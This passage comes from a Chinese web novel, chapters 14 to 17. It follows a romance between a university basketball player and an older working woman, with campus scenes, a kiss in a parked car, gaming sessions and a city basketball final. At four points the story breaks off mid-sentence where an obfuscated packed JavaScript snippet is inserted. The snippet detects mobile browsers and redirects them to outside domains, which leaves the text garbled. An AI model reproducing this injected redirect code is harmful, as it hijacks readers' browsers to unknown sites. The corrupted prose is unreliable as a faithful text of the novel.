然而这几句话要是传出去，校园网上估计要盖起千楼帖子，就说南北大名人游恕表面不近女色，背地里居然乐得被人包养。 方星泽直播耳机降噪，听不到身后两个人的密谋，都不知道自己的榜一已经被好兄弟给“撬走”了。 无巧不成书，游恕刚说完，方星泽就嚷着喊他名字，游恕带着耳机没听清，最后还是迟莱提醒了一句，不然方星泽可能就壮着胆子抖帘子了。 “寝室有人喊你呢。” “哦，等我一下。”游恕把手机盖在了枕头上，拉开帘子。 方星泽说：“你总算理我了，今天榜一来吗？” “又问这个做什么。”游恕被人打断，有些不耐地说。 迟莱断联的这段时间里，除了游恕，就属方星泽最着急，隔三差五地问自个儿榜一的下落。 这要是普通的榜一走了也就走了，方星泽也不意外，互联网上粉丝来来去去的，再正常不过了。偏生这个榜一是被游恕的男色吸引过来的，那说走就走也太不合常理了，毕竟游恕被“甩”这件事实在是骇人听闻。 方星泽估计人多半是被游恕气走了，他还不肯说实话。 “弹幕一直带节奏，说榜一被我菜跑了。” 方星泽作为一个技术主播，又天生综艺圣体，节目效果多到大家都忘了他的定位，弹幕这一波节奏属于是直戳他心窝子了，实在难绷。 “我看多半是你把人气跑了，你必须给我澄清。”方星泽胡搅蛮缠地说。 游恕现在哪有心情管这节奏，手机虽然倒扣在了床上，但是耳机里能清晰得听到迟莱说：“快澄清，就说姐姐说你可乖了。” 游恕耳朵滚烫，说话感觉喉咙都有些干涩，禁不住地咽了咽，却好像还是发不出声音，说不出这话。 最后只能对方星泽说：“这是你直播，还是我直播？” 一边说一边手上打字给迟莱：别搞我。 迟莱收到消息，大发慈悲说：“那你跟他说，没跑，我过几天刷礼物上车。” “上车？”游恕一时不注意，回了迟莱一句。 “什么上车？”方星泽耳尖听到了。 迟莱说：“听话。” 游恕感觉这帘子再不关上，自己就要自焚了，只好当了传话机，跟方星泽说： “她说过几天上车一起玩。” “真的假的？我就说榜一姐姐怎么可能变心，等我这几天精进一下技术带她得吃，打服弹幕一群小黑子，” 方星泽收到消息，这才心满意足戴上耳机，回去继续跟弹幕对峙去了。 放下遮光帘，光线又暗了下来，游恕这才拿起手机说：“你真要玩？” “那不然呢，现在又不用我刷礼物看人了，我总得图点什么吧。” 游恕说：“你还会玩游戏？” “不会啊，你会吗？到时候带我。”迟莱语气认真，听着不像假的。 游恕欲盖弥彰说：“我有什么不会的，就是不一定有空。” 游恕对于自己被方星泽笑了两年的技术，第一次有了心虚的感觉，毕竟他可不想带着迟莱输。 迟莱脑海里浮现之前刷到的游恕打游戏的视频，心想这家伙又撒谎。 “那只能双排了，正好你不是说他挺厉害的。”迟莱故意激将说。 “我还没说一定呢。” “那等你定了，我再上车。” 对面一阵沉默，游恕觉得方星泽真是该死，非得这个时候说这事儿，最后自己被赶鸭子上架。 第二天一大早下了场雨，路上都是雨水洗过的青草味，闻得人身心舒畅，只有游恕被这一地潮湿搞得心情不佳。 “我刚刚看了，天气预报上显示，好像过了中午就得出太阳了，下午打球问题不大，不过你今天怎么突然关心队里安排了？”刘畅问。 游恕对于队里的安排向来不插手，跟队员一样都是等通知，今天反常，主动来问下午还能不能打。 刘畅上午没有课，一觉睡醒都没来得及看窗外，就已经被游恕告知了天气情况，现在才刚准备去群里发通知。 “室外场地不行，到时候转去校体育馆就好了。”刘畅说。 游恕说：“室内篮球场地不是在维护吗？” “应该好了吧，就那一个角的地要重新胶一下，没太大影响。” 刘畅被这么一搞人也彻底清醒了，想起来问：“你几点过来？” “四点多吃个饭差不多。” “这么早？” “我接个人一起过去，等会儿下课了再跟你说。”游恕上课铃响就把电话给挂了，刘畅没来得及问就被堵了回去。 游恕一下午的满课，上完都已经快晚饭时间了。 边上的方星泽昏昏欲睡，还是被一声刺耳的下课铃声敲醒了。 上课偷睡的防备还没有歇下，方星泽一脸惊恐地问：“什么课了？” “没课了，被你睡完了。”游恕收拾着书包说。 方星泽人还没醒透，边上的人都打算起身要走了。 “你去哪儿啊？” “吃饭去，一会儿得练球。”游恕站着，难得等了会儿方星泽。 方星泽十分暴力地把书塞进包里，就起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183234|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“吃饭吃饭，睡得我都饿了。” 食堂里有一家手工拉面，虽然出餐慢，但是人气很高，方星泽十次堂食八次都是吃他们家的，今天也是一到食堂，就想架着游恕往那边去。 现在正是大排场龙的时候，游恕说：“赶时间，吃点别的。” “哎呀，练球急什么。” “你去排，我一会儿吃完也是直接去篮球场。” 游恕觉得也没什么区别，方星泽吃完就得回去开播了，两个人又不顺路。 方星泽说：“我发现你最近总是有这么几天着急忙慌的，你是不是背着我偷偷约人了？” “你还吃不吃面，外面一群人一会儿都到了。”游恕没继续废话，直截了当地问。 今天原本就早下课了一会儿，再墨迹，一会儿下节课下的人估计也赶到了，排队就更费劲了。 方星泽这么一想，赶忙过去排自己的拉面去了。 游恕吃完到的时候，场地干得差不多了。 看了眼手机，刚刚给迟莱发的消息，她还没回。 索性就没管，先换衣服去了。 随着天色渐暗，隔壁操场上的人也越来越多，进入操场的其中一条路是路过篮球场门口的，不少同学停在那边上看球。 今天游恕打得格外凶，刚来还好，现在估计是完全热开身了，在场上完全是压制性地单打。 刘畅等他下来，说：“发泄什么呢？这么打我们可配合不上啊。” “我就自己打打，不是明天体育组的才过来盯嘛。” 游恕今天这打法，要是放到明天，肯定得被骂的狗血淋头，这打法太独了，完全不管别人，在正规比赛上是绝对不可能出现的。 “也是，对了你不是说今天接人过来吗？人呢？” 人没了。 游恕训练、打球进进出出篮球场好几趟了，每回看手机都没有迟莱的回复，憋了半天，刚刚又发了条信息，对方也没回，这会儿心情正差。 “我带个屁的人。” 刘畅也是一头雾水，心想难道是自己早上没睡醒听劈叉了？ “走了。”游恕丢下一句两个字，转身走了。 游恕冲完澡，换完衣服刚从场边的更衣室出来，就看见一个女生等在门外，看样子大概猜到了。 “你好，游恕，我是大四医学系的秦清，你现在有时间吗？” 游恕手上抓着篮球，往上轻轻抛了抛，暗示得明显，但周围人有点多，还是没有丢下人就走。 “你说。” “我就是想在毕业前跟你说一声，我挺喜欢你的，希望有机会可以做个朋友，不行的话也没事。”秦清一口气说完后才松了气。 游恕冷淡地说：“嗯，不行。” “那方便知道原因吗？我不是你的类型，还是你有喜欢的人了？”秦清鼓足勇气，还是想要个原因。 游恕心想，从表白开始的关系，对方怎么可能止步于做朋友，单纯不了，就像...... 算了，一个例外就够他受的了。 “我不喜欢比我大的。”游恕淡淡地说。 秦清等了两秒，也没有听到游恕继续说，心里就明白没有必要再纠结了，于是一展笑颜说：“好，谢谢你听我说完，那我就先走啦。” 女生转身跑开，跟站在不远处的朋友汇合，交头接耳几句后一起走了。 “我还以为我记错了呢，原来你真约了人啊。”刘畅刚从球场出来，跟游恕表白的女生跑走时还从他身边擦肩而过了。 游恕否认说，“没有，不是她。” 15. 第 15 章 不是她，那是谁？ 刘畅回神过来的时候，游恕已经走了，他赶紧去换衣服，想着一会儿追上去。 “游恕。” 原本正低着头，漫无目的的人，听到声音后猛地抬头，喜上眉梢，过会儿又像是想到了什么，绷起了脸。 大概是昨晚只能听见声音，看不着人的缘故，听觉记忆格外得长，迟莱的声音他记得牢，现在一下子就能听出。 游恕看着眼前的人，干巴巴地吐出两个字：“干嘛？” “你打完了？”迟莱往游恕身后瞧了瞧，球场上只剩几个人在各打各的，大部分已经散了。 游恕语气有些自嘲地说：“嗯，打到球队都散了。” 迟莱上前来拉住了游恕的手，言语里有些为自己辩解的意思，“我刚开完会就过来了。” 游恕现在才看到迟莱比以往都要随意凌乱些的头发，外套被风吹得敞开了点，气息还有些不稳。 迟莱的手有一些凉，游恕没有挣开，反握得紧了，他手上还有刚刚洗完澡被热水泡过的余温。 边上人来人往，没一会儿又只好松开。 “手机上回一声就行了。”游恕说。 “有这个时间，我不如多跑几步。” 游恕低头看了看迟莱的细高跟，说：“你这鞋子能跑？” “当然不能。” 迟莱笑得明媚，丝毫不介意自己为了讨好对方扯的谎被戳破，有恃无恐得明显。 “你怎么进来的？” 迟莱说：“你们今天开放日，挺多家长过来的。” 游恕这才想到今天好像是毕业生拍毕业照的时候，南北大这个时候都是开放的。 “小莱姐！”刘畅从更衣室出来，没想到游恕居然还没走远，定睛一看，才发现他对面站着迟莱。 跟刘畅还有点距离，迟莱就点头示意，无声地打了个招呼。 刘畅一点儿藏不住事，过来笑得一脸灿烂，说：“小莱姐来得晚了点，不然就能碰到女生给游恕表白了。” “是吗？”迟莱视线看回游恕，似乎是在问他。 然而，刘畅直接接了话，“是啊，还说自己不喜欢姐姐把人给拒了，小莱姐要不趁机教育一下他，总是乱招桃花。” 游恕的目光一下子转到了刘畅身上，结果后者给了他一个得逞的挑眉。 刘畅刚刚站的不远，听到了。 他就是看热闹不嫌事大，故意在迟莱面前说的“不喜欢姐姐”，就想看看游恕这个姐控被亲姐教训的样子，毕竟他还没见游恕怕过谁。 好不容易抓到一个把柄，能回队里跟人说说，乐呵乐呵。 迟莱欣然一笑说：“不用教育，我们家鼓励发展两性关系。” 用两性关系，代替了恋爱关系，刘畅听着没毛病，反倒是游恕一下就明白了迟莱的意思，心谎乱了拍子。 “小莱姐真好。”看来笑话是看不成了。 刘畅又想起来说：“对了，五月底有市篮球赛的决赛，小莱姐要来吗？我们这边有票。” 迟莱连训练赛都特地跑来看，可想对游恕这个弟弟还是挺关心的，所以还是问一下，不然这票放着也是放着。 “市里的？这么重要的比赛游恕都没跟我讲。”迟莱语气责怪，眼神里却察觉不到一丝，倒是有几分玩味。 刘畅丝毫不觉，只说：“他哪这么多话，估计也是觉得你忙。” “我会抽空去的。”迟莱答应道。 刘畅出声说：“好啊，小莱姐爱看篮球，下次可以经常过来，我们打得也起劲。” “确实爱看。”迟莱承认说。 游恕心想，你爱看的是不是篮球我还不知道嘛，这女人，估计看见身材不好的，来都懒得来。 “那我先走啦，不打扰你们聊家常了”刘畅说，他也准备回去了。 “嗯。” 周围来来往往的人不少，体育场的几盏大灯打得现场如同白昼，游恕很高，迟莱只能仰头看他，脖子容易酸。 “不喜欢姐姐？”迟莱等人走了才“兴师问罪”。 游恕说：“那我要怎么拒绝，除了知道她年纪比我大，别的一无所知。” 迟莱故意得理不饶人，说：“我不想谈、家里管得严、有对象了，你想编还怕找不到理由吗？” 那个时候游恕哪有心情想那么多，就想大发了人自己走。况且那时候正好想到了迟莱这个例外，于是就地取材说了个不喜欢姐姐。 迟莱见游恕没有反驳，便自圆其说起来，“所以不是不喜欢姐姐，是不喜欢小姐姐，人家就大你一岁吧。” 游恕大三，学校里比他大的估计也只有现在大四的学姐了。 “你干脆说我就喜欢正好大我七岁的好了。” 迟莱若有所思的样子，“原来如此。” “你还真是。”游恕没想到迟莱还真地顺杆子爬了。 “所以，要不要跟我走？你答应的可还没做到呢。” 游恕刚想说有什么没做到的，就回忆起那天迟莱说的“试试手感”的事。 “澡洗了，衣服换了，怎么试？”上次就是迟莱嫌自己提前洗了澡，换了衣服，这回也差不多了。 迟莱没答，反倒是说起了刘畅刚刚提到的事，“那比赛不说，怕我占便宜？” “你那时候理我吗？还跟你说这个。”游恕语气不爽地说。 迟莱心想应该就是之前没联系时候的事。 “可能你说了，我起了色心就回你了。” “就怕你只有色心。”游恕低声说，自言自语的迟莱听不真切，问游恕，他也不肯再说。 迟莱百无聊赖地用手抵了抵下巴，又将话题饶了回去，说正事：“反正现在能摸得着，洗了也不碍事。” “碍什么事？” “你说什么事。” 两个人四目相对，各自心中了然，只不过一个难为情地低头，另一个一脸坦荡。 迟莱先开口说：“走吧，我车停外面呢，一会儿贴罚款了你给钱。” 游恕面上不情愿，步子已经迈出去了，“去哪儿。” “吃饭，我这一晚上饭香味儿都没闻上呢。”原本以为一个多小时能结束的会，硬生生被他们互相扯皮扯了三四个小时，最终方案才定下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188939|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那你不先去吃饭。”游恕迈开步子走了过去，两个人这才一起往校门外走。 迟莱边走边说：“我再去吃个饭，你的脸估计能再拉长一倍。” “谁拉脸了。” “你说呢？倒反天罡啊，我花钱看脸色。” 游恕沉默不语，暗自腹诽也不知道谁看谁脸色多。不过，一下午和一晚上的阴霾在此刻总算是烟消云散了。 太晚了，迟莱不想折腾，最后选了一家粤菜小馆吃点。 “你别不点啊，最讨厌出来吃饭就我一个人吃了，赶紧点你的。” 游恕这才俯身靠近了一起看菜单说，“就一份湿炒牛河吧。” “行，那就差不多这些。”迟莱把勾好的单子给了店员。 “好的，这边付钱。” 游恕习惯性地掏手机付钱，看见迟莱起身忽而想起了什么，把手机收了回去。 两个人闲聊，迟莱还问起，“你一个月多少零花钱？” “1500吧。”他们寝室的好像都是2000左右，减个500应该不算太夸张。 迟莱随口一问，听到回答也没做什么反应。 “送我到路口就行了，晚点学校应该就不让外来人进了。”快要到学校附近时游恕说。 “吃完就想跑啊。” 游恕眼下想起了迟莱的正事，装作不知说：“不然呢？” “不给点甜头不让走。”迟莱把车停在了学校正门口，顺手把车门锁上了。 “嗯。” 这个点附近没有其他车辆，只有远处十字路口车灯交汇，但是照不进此时紧闭的车窗。 迟莱原本搭在方向盘上的手垂了下来，手温微凉，穿进游恕的卫衣外套，隔着他单薄的短T，四下游走，手上摩擦生热，撩起丝丝星火。 抚上游恕肌肉紧实的肩背，几个月前这处还是远远隔着屏幕勾她火的地方，现在俨然已经成了她的领地。 游恕原本紧绷的身体，逐渐放松享受，气息却随着迟莱的抚摸变得紊乱无序。 迟莱手继续往上走，最后严丝合缝地贴在了游恕的脖颈处，游恕的体温很高，甚至有些烫手，像发烧了似的。 “你想不想？”迟莱问，拇指似有若无地摩挲着游恕滚烫的肌肤。 “想什么。”游恕声音已经沾上了一点难入耳的调子。 迟莱察觉到了，满意地说：“吃甜头。” “嗯。”游恕认命般承认了。 迟莱手臂一收，将游恕拉向了自己，没有补口红的双唇此刻泛着粉调，就这么贴上了游恕的薄唇。 双唇微启，在对方的唇瓣吮吸，迟莱故意没有放轻力道，弄得游恕吃痛地“嘶”了一声。 游恕睁开眼看了迟莱一眼，很快又闭上，继而反客为主，两瓣唇摸索着门道，终于跟着迟莱一起互相交换领地。 脚边的篮球被踢到了座位底下，偶尔大幅的动作，脚步移动带得球也四下乱撞。 车里无限升温，两人逐渐呼吸不畅，却又难舍难分，良久才不得已默契地拉开距离，不忍离得太远，依旧感受着对方暧昧过后的鼻息。 16. 第 16 章 “手感不错，记得保持，别偷懒。”迟莱实话实说完，还不忘嘱咐一声。 游恕不仅肩宽腰窄，比例也好得要命，一双长腿，坐着的时候膝高都要比别人高出不少。 自己刚刚探手进去的时候，游恕都没有刻意使力，就让她感受到了明显的形状起伏。顺着摸下去还有流畅又深邃的人鱼线，她在那儿停留了许久，直到游恕闷声说了句“继续”，方才雨露均沾地挪到了别处。 “那个，比赛那天你到了我带你进去，票在我这儿。”游恕为了缓解暧昧不清的气氛，随便扯了句话。 迟莱随意，“都行，这事我不是一向都听你的嘛。” 她真的很会给人甜头。 游恕听着，车内温度迟迟不降，最后只能强行清醒说：“那我先回去了。” “你跟你队友说的，我们是姐弟？”迟莱突然问。 游恕点了点头，他虽然没有亲口说，但是也是默认了。 迟莱说：“姓都不一样，他们怎么信的？” “现在一个随父姓一个随母姓的情况不在少数，他们估计就那么想了吧。” 迟莱嗯了一声，拖腔带调地说：“那不错，你叫姐姐应该很好听。” 游恕还从来没有叫过姐姐，对着迟莱也多是连名带姓。 “骗人骗上瘾了？”游恕说。 “你少贼喊捉贼。”迟莱伸手，大拇指指腹贴在了游恕的唇边摩挲了一下，让人没法再开口反驳。 游恕只是觉得现在很难定位两个人的关系，而他又不愿意扯断，就只好任由别人去猜。 “这也是种情趣，等下次试手感的时候叫，你可能会更烫。”迟莱的手指缠绕着游恕运动裤上的绳，有意无意地扯着。 游恕闭了闭眸子，而后眼神意味不明地问：“是吗？” “嗯，我可不骗小孩儿。”迟莱说。 “下次还试手感？”游恕以为这就这一次。 迟莱一本正经地说：“每次都得试，不然我怎么知道你有没有认真保持身材，这是检查作业。” 这个借口找得冠冕堂皇，迟莱说完这才把人放了。 游恕走了，迟莱独自在车内用手背贴了贴双颊，妆容掩盖了几分红潮，但是手上的温度却暴露她也动情的事实。 难道真的是弟弟太行了？一个吻比以往的一晚都要更让人荡漾情动。 迟莱开了点窗，风灌了进来，这才散去了一车的暧昧余温。 接下来几天迟莱都在为项目的进行，不分昼夜地加班。手头还有私接的活儿需要监控舆情，吃饭休息的时间，手机也都在各大新闻、娱乐网上浏览。 游恕这边也是训练不断，但是回寝室的时间提早了不少，更稀奇的是，他居然开始拉着方星泽打游戏。 原本方星泽是想干脆直播的时候拉游恕跟他双排，还能整点效果拉满，谁知道游恕说什么都不肯。 “你又不是没跟我双排直播过。” 虽然就一回，但是很多事情不是只有零次和无数次嘛。 游恕很决绝地说：“现在不行，你到底打不打？” “打打打，正好过几天还要带榜一姐姐上车，是得练练技术了。” 游恕电脑里的游戏都好久没更新了，上次打开就是跟方星泽玩的。 更新还得差不多一个小时，电脑干脆就这么开着，两个人先吃饭去了。 吃完饭回来，方星泽就坐到电脑前，一副跃跃欲试的样子。 “快来，我装备都起好了。” “等着，我上号。” 游恕打算这几天恶补，但是这第一天就差点击碎了他的信心。 “你的枪怎么是点射的，你得长按左键，这样才是全自动，不然你这射速对枪能打死人就怪了。” “他就在脸上，别，你别开镜呀，人就在脸上。” “你拉回来点，他们绕后了。” “我靠他们在这儿阴着，我打得只剩最后一个残血，你是五级弹，中一枪对面就死。” “我去，恕哥，你......他刚刚就趴你脸上。” 【撤离失败】×1 【撤离失败】×2 【撤离失败】×3 ...... 【撤离失败】×n 打了两个小时，资产少了一千多万，仓库都被打空了。 “哥，女娲可能真的忘了给你点满游戏天赋点了。” 优秀的人做什么都优秀，除了游戏（微笑脸） 游恕把鼠标一扔，靠在椅子上，脸色巨差。 “没事儿，咱们总要有点短板，不然不真成觉悟人机了嘛。”方星泽安慰道。 游恕没有搭理，现在他担心的根本就不是自己有没有天赋的事。要不是过几天迟莱要上车，这破游戏游恕现在就想把它给卸了。 耗了一下午还没从这鬼游戏里撤离出去。 “网恋就没有技术差的男的？” “啊？” 游恕语出惊人，方星泽听得一愣又一愣，最后才反应过来说：“那肯定有吧。” “比如？” 方星泽抓耳挠腮，绞尽脑汁地想了想，说：“比如有些男的moba类游戏打得好，有些男的射击类游戏打得好，有些......” 说到后面声音越来越小，因为方星泽看到游恕的脸色已经黑得不能再黑了。 两个人沉默着沉默着，方星泽突然双手一拍，说：“对了！还有些男的，靠情绪价值。” “什么情绪价值？” 方星泽一看游恕就不像是会给情绪价值的，不过现在也只能提出这个下下策了，毕竟靠技术真是不行了。 他解释道：“就比如咱们这个游戏，捡到好东西，例如几十万的大金、几百万的大红都给女生，那也容易谈上对象，就跟现实给女生送礼物一个道理。” “是吗？”游恕半信半疑。 “那当然，这游戏说到底是个摸金游戏，撤离带出的资产越多肯定越开心啊。” 方星泽实在是没想到，有一天还能轮到他给游恕科普追女生的方法。 “恕哥，你不会真想不开搞网恋吧？”难道是现实太没挑战了，打算转战互联网？ “跟你谈？”游恕凉飕飕地反问道。 方星泽连忙摆手说：“哪敢呀。” 游戏里怒气值叠满了，第二天游恕直接把游戏里被人虐杀的怨气，发泄到了球场上，十度上下的室外温度，打得大汗淋漓。 “副队今天这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15200821|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压制力，我不打了，换人换人。” “别呀，我可不想今天跟副队打。” “他就不是人。” 游恕站在篮筐下，运了几分钟球了，都没等到下一个人上来。 便扬声问：“轮到谁了？” 底下一堆人推三阻四的，最后愣是没一个人敢上。 “去啊，你们副队找人单练呢，平时一个个的不是积极得很。”刘畅刚到，在一旁说着风凉话。 下一秒就被游恕点名了，“刘畅，打一场。” “哈哈哈哈，喊你呢队长。” “队长快去。” “就是，快去快去，我们等着看呢。” 刘畅作为队长肯定不能临阵脱逃，不然威严何在，这要是私下，他早就溜之大吉了。 “我这是造的什么孽。”刘畅怨怼着上去了。 决赛就在三天后的周六拉开帷幕，郑昊元正好趁着今天人齐，过来说一下比赛当天的注意事项。 到了球场吹了声口哨，“都过来，我说一下比赛的事。” 刘畅一脸劫后余生的表情，说：“打什么打，集合集合。” 一群人这才出了球场，在候场区域集合。 “咱们周六上午八点准时到宿舍楼门口集合，前一天注意点饮食，到了比赛场地以后，刘畅你带队进去，挨个签到，先抽签，然后找对咱们的球场号，到时候热身也是在那儿。” 都是一些比赛老人烂熟于心的规则了，郑昊元说完之后问了一下：“这次有没有家里人过来的，报备一下，到时候座位是统一一边的，别搞错了。” 队里几个人走出队伍去郑昊元那边登记了。 刘畅推了推边上的游恕，“小莱姐不是也过来，你上去记一下，比门票方便。” 游恕想了想，上去了。 “谁来？”郑昊元没有抬头，一个一个记下去。 “......我姐。” 郑昊元听见游恕的声音，抬头意外地说：“你小子还带姐姐来了？” 上次聚餐的时候，就听队里的人说游恕跟他姐碰上了，这还是游恕第一次找了亲友过去。 “嗯。” “难得啊。我身边家里有姐姐的男孩子，一般跟女生都挺聊得来的，你倒是例外。” 游恕没接话，指了指郑昊元的板子，问“记了吗？” “啊？哦，记了，你去吧。” 游恕回到队伍里，刘畅问了一嘴，“说什么呢，审核半天才放你回来。” “说的废话。”游恕语气阴涔涔的。 刘畅笑着说：“哈哈哈哈，真的假的。” 就最近迟莱回消息的速度、频率，游恕已经大概摸清了她上下班的时间。 这天到寝室就给迟莱发了个消息，给她说了决赛的时间，也没问有没有空来。 迟莱：那我十点过去，要找你吗？ 游恕：不找我找谁。 郑昊元吗？ 迟莱自然不知道游恕想到了这个，绿茶了一下说：怕你忙得没时间顾我。 游恕：想多了，到了就跟我说。 迟莱看了眼工作计划，算着时间应该能准时到，这次要是再迟到，估计人真要哄不好了，徒增波折。 17. 第 17 章 迟莱下午在办公室小憩了二十分钟，许倩倩电话弹进来的时候，她正准备出去泡个咖啡，顺便清醒清醒。 电话那头，许倩倩的声音听着像是心情大好的样子。 迟莱到茶水间打开了咖啡机，咖啡研磨的声音有些吵，她挪去了窗边才说：“最近心情一百八十度转变呀。” 跟之前刚分手时候的状态完全不一样。 许倩倩说：“早转了。” “嗯哼，心情这么好，有什么好事？” “当然有好事啦，不过现在还不确定。” 迟莱听许倩倩这神神秘秘的语气，也就没继续八卦她了，这人憋不住事，现在不说估计就是八字还没一撇。 两个人打电话闲聊了一会儿，迟莱才知道许倩倩是想约她这周末出去露营，和她公司的几个同事一起。 这周末就是游恕的篮球赛了，迟莱为了调开时间花了不少功夫，自然忘不了。到时候不确定什么时候结束，况且要是可以的话，她还想跟人拉拉进度呢，所以就回绝了许倩倩的露营邀请。 结果许倩倩一听有篮球赛，瞬间来劲儿了，说：“大学生篮球赛，那岂不是全是男大？加我一个。” “你不是去露营吗？”迟莱好笑地问。 许倩倩说：“哎呀，露营什么时候都能去，而且他们也都还没确定能去呢。” 迟莱不确定游恕那边方不方便，不过之前说过是要门票的，现在临近比赛了再去问人家，到底是不太合适。 没听到迟莱这边应声，许倩倩又说：“哎呀，我现在正是需要新人来填补空缺的时候呢。” 迟莱寻思了一下还是说：“这次名额满了，下次再看吧。” 没办法，许倩倩只能先算了，只是也不忘八卦一下，“你什么时候还参加这种活动了？这阵子没闲着呀，娱乐项目都变成大学生篮球赛了，你哪来的票啊？” 许倩倩跟迟莱认识这么久，也不记得她有什么亲戚的弟弟在这儿上大学的，难道是新认识的？ 可是工作之后，能在工作环境里遇到个同龄人都挺难的，迟莱就更不用说了，坐到她那个位置的，不是已经成家了的，就是已经离了准备二婚的，书里忽悠人的钻石王老五简直就是稀有物。 所以许倩倩还真想不到迟莱是怎么认识的。 “自然是有人邀请我去的，不是你说我空窗太久了嘛，现在又奇怪上了。” 许倩倩突然想起郑昊元不就是南北大的体育老师嘛，怀着不好的预感问迟莱：“你不会是跟郑昊元和好了吧？” “别咒我啊，我现在喜欢年轻、新鲜的□□，和好不了一点。” “我去！下次一定得喊我，我也去养养眼。”迟莱能看上的，再怎么说质量肯定过关。 “再说吧，球队训练挺忙的，不一定有空。” 跟游恕认识这几个月，似乎每次见面他都在训练，自己不是去看他打球，就是等他打完球出来吃饭，不过迟莱倒是挺吃他这一点，真是随叫随到的自己估计也不喜欢。 许倩倩调侃道，“呦，看来看得不少啊。没事，我先预定着呗。” “你还真当是订票呢，还预定上了。”迟莱被调侃了也没澄清，没太当回事。 两个人又嬉笑着说了几句就挂了，上班时间摸鱼，许倩倩那边还是条件有限的，公共的办公区，时不时就会过来一个领导视察。 市大学生篮球决赛开赛那天，市里各大院校代表队都到了，除了进决赛的三支校队，还有这次参加过市级赛的学校校队。 原本学生就多，再加上买票来观赛的人，市体育馆现场直接被围得水泄不通，入口处大排长龙，用来隔离的栅栏都被淹没在了人群里。 所幸过了大门口就好了，学校大巴载着参赛学生去了被提前封锁了的南门大门口，那边是预留出来作为选手通道的，能够直接进入主赛场。 其余观众则需要到检票的地方有序排队入场。 “我去接人。”校车刚停下，游恕跟队里的老师说。 迟莱走的特殊通道，同行的大多都是参赛学生的亲友，不过每个学校亲友观赛名额有限，所以这边不拥挤。 “你到通道口了吗？”游恕一边举着手机问，一边四下张望。 迟莱说：“嗯，看到你了。” 游恕还是很好找的，他今天穿了球衣，可惜外面套了一件南北大校队统一的队服。 “你们队里放人吗？”迟莱等人走近了问。 “嗯，但是得快点回去。” 迟莱一根手指伸到宽松的球衣里勾了勾，说：“等下结束要换衣服？” 游恕迟疑了一下说：“嗯，冲个澡舒服点。” “你是不是有洁癖啊？” “一点吧。” “好吧。”迟莱叹了口气，想到今天比赛还挺重要，就打算放人一马。 然而游恕又低声喃喃说了一句：“球衣有两件。” 言下之意洗了也能穿球衣。 迟莱见游恕说完又自己别扭的样子，有点想笑，“嗯，那你别忘了，回去吧，一会儿你们郑老师出来了，我可不想碰着。” 游恕听了迟莱的话，心情不错说：“嗯，专心看比赛，看不懂也得看。” 上次让游恕帮忙解说的事就像在昨日，今天就又来看决赛了，要不是他，迟莱觉得自己肯定不会这么频繁地踏足运动场。 想起以前一到有体育课的那天，她就惴惴不安，连文化课都舍不得上完。一站上跑道腿都打颤，以至于她都不是很留恋学生时代。 “行，球进了就叫对吧。” 游恕笑着点头，“对。” 市体育馆的场馆很大，迟莱跟着前面的人走到了前排的位置。 比赛开始，第一场两支队伍里没有南北大，迟莱就在手机上浏览新闻，看到跟委托方企业相关的新闻就记录一下，不算工作，但也是个初步的数据采集，能给之后减少一点工作量是一点。 直到迟莱听到后面有人高喊游恕还有南北大加油的声音，方才抬起头。 果然，游恕他们上场了。 进入决赛的三支队伍，有一支轮空了，就是南北大。 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15224025|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一轮体大淘汰了财经大的人，现在就轮到体大和南北大对打了。 最后一轮观众席中的热情不减，依旧高涨，跟之前比有过之而无不及。 观众席上有不少懂球的，看得清场上局势焦灼，每一次得分和遗憾失分都能实时做出情绪反馈，以至于迟莱这种看不太懂的人，都能清楚感受到现在是个什么情况。 两边分数咬的很紧，打破平衡的，是游恕的那一球，直接把现场的气氛托到了最高点。 身后是众人的呼喊，口中的名字是那个前几日还跟她亲密无间的少年。 迟莱看了半场，在最人声鼎沸的时候喊了一声：“游恕，加油！” 不过很快就被淹没在了群声之中。 然而场上那个被大家千呼万唤的人，这时回头看向了场外，距离有点远，但是迟莱自信，游恕在看她。 